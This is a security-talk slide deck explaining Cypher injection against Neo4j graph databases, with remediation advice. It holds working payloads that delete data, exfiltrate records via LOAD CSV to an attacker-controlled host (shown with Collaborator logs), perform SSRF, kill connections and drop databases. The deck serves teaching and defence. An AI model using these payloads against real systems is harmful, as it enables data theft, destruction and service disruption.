

Cypher Injection

The New “SQL Injection”
We Aren’t Aware Of



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Whoami

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- AppSec-IL 2020 CTF Creators Team
- Hacker by title, dancer by soul
- Dog owner / dog owns me



Takeaways

- Cypher & Graph Databases**

- Injection Time!**

- Attack Escalation**

- Remediation & Mitigation**

- What Now - A New Era of Injections**




What is Cypher?




**(Open)Cypher Query Language
in simple words**

Cypher is commonly used in
Graph Databases

Relational Database




Graph Database



Go Cypher!


Understanding Cypher Query







Terms



Variable

Label

Property

```
MATCH (c:Character {name:"Spongebob"})  
RETURN c
```

Goodbye **SELECT**, Hello **MATCH**

Get all Characters:

MATCH (c:Character) RETURN c

Get Character by name:

MATCH (c:Character)

WHERE c.name = 'Spongebob' RETURN c



Injection Time!



SQL Injection In A Nutshell

SQLi In A Nutshell

SELECT * FROM “characters” WHERE name = “Spongebob”

Spongebob -> Spongebob” OR 1=1--

SELECT * FROM “characters” WHERE name = “Spongebob” OR 1=1--”

<i>id</i>	<i>name</i>
0	Spongebob
1	Patrick
2	Sandy
3	Squidward



Cypher Injection

Returning back to Cypher



MATCH By Name

MATCH (c:Character)

WHERE c.name = ' + **USER_INPUT** + ' **RETURN** c

Spongebob

MATCH (c:Character)

WHERE c.name = '**Spongebob**' **RETURN** c



MATCH By Name Injection - Return All

MATCH (c:Character)





WHERE c.name = 'Spongebob' **INPUT** + ' RETURN c

Spongebob'

MATCH (c:Character)

WHERE c.name = 'Spongebob' **INPUT** + ' RETURN c//'

RETURN c



MATCH By Name Injection - Delete

MATCH (c:Character)

WHERE c.name = ' + **USER_INPUT** + ' **RETURN** c


Spongebob' **DELETE** c//

MATCH (c:Character)

WHERE c.name = 'Spongebob' **DELETE** c// **RETURN** c



DELETE EVERYTHING



MATCH By Name Injection - **DELETE** All

MATCH (c:Character)

WHERE c.name = ' + **USER_INPUT** + ' **RETURN** c

MATCH (c:Character)

WHERE c.name = 'Spongebob'

MATCH (all:Character)

DELETE all//'

RETURN c



BuT We DoN't SeE TH QuErY!



RETURN c?
Character label?

Data Exfiltration

Leveraging **LOAD CSV**
in neo4j

LOAD CSV

import data from CSV files.

LOAD CSV FROM <https://your-website/data.csv>



A cartoon illustration of SpongeBob SquarePants. He is yellow with green spots and is wearing his signature white shirt, brown belt, and red tie. His hands are covering his eyes, and he has a worried or confused expression. The background behind him is a light blue color with small white bubbles.

Blind Injection

LOAD CSV

Comes To The Rescue!

Using LOAD CSV To Leak Labels

40	2021-Jul-08 09:35:01 UTC	HTTP	93
41	2021-Jul-08 09:35:01 UTC	HTTP	93
42	2021-Jul-08 09:35:02 UTC	HTTP	93

...
Description Request to Collaborator Response from Collaborator
Pretty Raw Hex \n ⌂
1 GET /Character HTTP/1.1
2 User-Agent: NeoLoadCSV_Java/11.0.8
3 Host: 93.burpcollaborator.net
4 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Using LOAD CSV To Leak Properties

87	2021-Jul-08 15:06:42 UTC	HTTP	B
88	2021-Jul-08 15:06:43 UTC	HTTP	B
89	2021-Jul-08 15:06:42 UTC	HTTP	B

Description	Request to Collaborator	Response from Collaborator	...
Pretty	Raw	Hex	\n
1	GET /name HTTP/1.1		
2	User-Agent: NeoLoadCSV_Java/11.0.8		
3	Host:	89.burpcollaborator.net	
4	Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2		
5	Connection: keep-alive		

Using LOAD CSV To Leak Names

MATCH (c:Character)

LOAD CSV FROM '<https://attacker.com/>'+c.name

AS b RETURN b//

159	2021-Jul-08 16:12:47 UTC	HTTP
160	2021-Jul-08 16:12:47 UTC	HTTP
161	2021-Jul-08 16:12:48 UTC	HTTP

Description	Request to Collaborator	Response from Collaborator		
Pretty	Raw	Hex	\n	≡
1	GET /Mr.Crabs HTTP/1.1			
2	User-Agent: NeoLoadCSV_Java/11.0.8			
3	Host:	89		
4	Accept: text/html, image/gif, image/jpeg,			
5	Connection: keep-alive			
6				

160	2021-Jul-08 16:12:47 UTC	HTTP
161	2021-Jul-08 16:12:48 UTC	HTTP

Description	Request to Collaborator	Response from Collaborator		
Pretty	Raw	Hex	\n	≡
1	GET /Patrick HTTP/1.1			
2	User-Agent: NeoLoadCSV_Java/11.0.8			
3	Host:	89.burpc		
4	Accept: text/html, image/gif, image/jpeg,			
5	Connection: keep-alive			
6				

More Damage



Attack Escalation

01

Denial-Of-Service
Preventing access
to the database

02

SSRF & RFI
Accessing sensitive
endpoints & files

03

Lateral Movement
Escalating to other
machines

04

Alternatives
LOAD CSV alternatives
In Neo4J & other databases

DoS - Leak & Kill Connections

```
CALL dbms.killConnections(["bolt-9276", "bolt-9273"])
```



Table



Text



Code

1	"bolt-2794"	"2021-07-08T09:33:31.323Z"
2	"bolt-2579"	"2021-07-08T09:15:30.681Z"

Drop Database

```
neo4j$ SHOW databases
```

```
neo4j$ DROP DATABASE spongebob
```



Table

(1 system update, no records)

Code

3

"system"


"localhost:7687"

More Damage



SSRF Through Cypher Injection

Server-Side Request Forgery



SSRF + LOAD CSV

=



Leveraging LOAD CSV For SSRF

Server-Side Request Forgery

LOAD CSV FROM


http://192.168.1.104:1690/csv



**Vulnerable
Server**



/latestscoredata



Leak Secrets Through SSRF

```
app.get('/internal-api/keys.txt', async (req : Request<P, ResBody, ReqBody, ReqQuery> , res : Response<P, ResBody, ReqBody, ReqQuery>)
```

2	2021-Jul-13 13:35:14 UTC	HTTP	upj
3	2021-Jul-13 13:44:08 UTC	HTTP	upj
4	2021-Jul-13 13:44:18 UTC	HTTP	upj
5	2021-Jul-13 13:44:50 UTC	HTTP	upj
6	2021-Jul-13 13:44:58 UTC	HTTP	upj

Description	Request to Collaborator	Response from Collaborator
	Pretty Raw Hex \n ≡	
1	GET /Krabby Patty Secret Formula - DO NOT EXPOSE AT ANY CIRCUMSTANCES HTTP/1.1	
2	User-Agent: NeoLoadCSV_Java/11.0.8	
3	Host: lupj.burpcollaborator.net	
4	Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2	
5	Connection: keep-alive	
6		



My 2 cents about our **Responsible Disclosure**



LOAD CSV

APOC Plugin

LOAD CSV was blocked? Go APOC Library!

- Extension to Cypher Language
- Load, Import, Export procedure

LOAD CSV was blocked? Go APOC Library! #2

```
"GET /data.json?leaked=Spongebob" "APOC Procedures for Neo4j"  
"GET /data.json?leaked=Sandy" "APOC Procedures for Neo4j"  
"GET /data.json?leaked=Mr.Crabs" "APOC Procedures for Neo4j"  
"GET /data.json?leaked=Patrick" "APOC Procedures for Neo4j"  
"GET /data.json?leaked=Squidward" "APOC Procedures for Neo4j"
```



Remediation & Mitigation



Remediation

Use Parameterized Queries



```
session.run("MATCH (c:Character)  
WHERE c.name = $name RETURN c", {name: name})
```



```
session.run("MATCH (c:Character)  
WHERE c.name ' " + name + " ' + RETURN c)
```



Mitigations

- RBAC support - users, roles & privileges
 - ◆ Read / write
 - ◆ Built-in granular roles - PUBLIC, reader, editor, publisher, ... admin
 - ◆ Revoke privileges from roles
 - ◆ Hardening capabilities per-user
- Disable/blocklist Apoc procedures (neo4j.conf)
(4.3)



A word about redis Graph



Redis Graph

please add fine-grained access control #1614

 Open

bionicles opened this issue on Mar 7, 2021 · 3 comments



bionicles commented on Mar 7, 2021 · edited

Contributor



thanks for making RedisGraph! it's starting to look really appealing since it's in the cloud service

would it be possible to add something like <https://neo4j.com/docs/operations-manual/current/authentication-authorization/access-control/> for authorization?

What Now

- Understand how Cypher injections work -
<https://github.com/noypearl/cypher-playground>
- Fix existing injections in your applications
- Bug bounty - hunt for bugs in Cypher
- Reduce attack surface
- Profit

Resources & Credits

- The Cypher Injection Saga Writeup - @Tempest Security
- <https://github.com/morkin1792/CIWA>

Try it yourself



<https://github.com/noypearl/cypher-playground>



@noypearl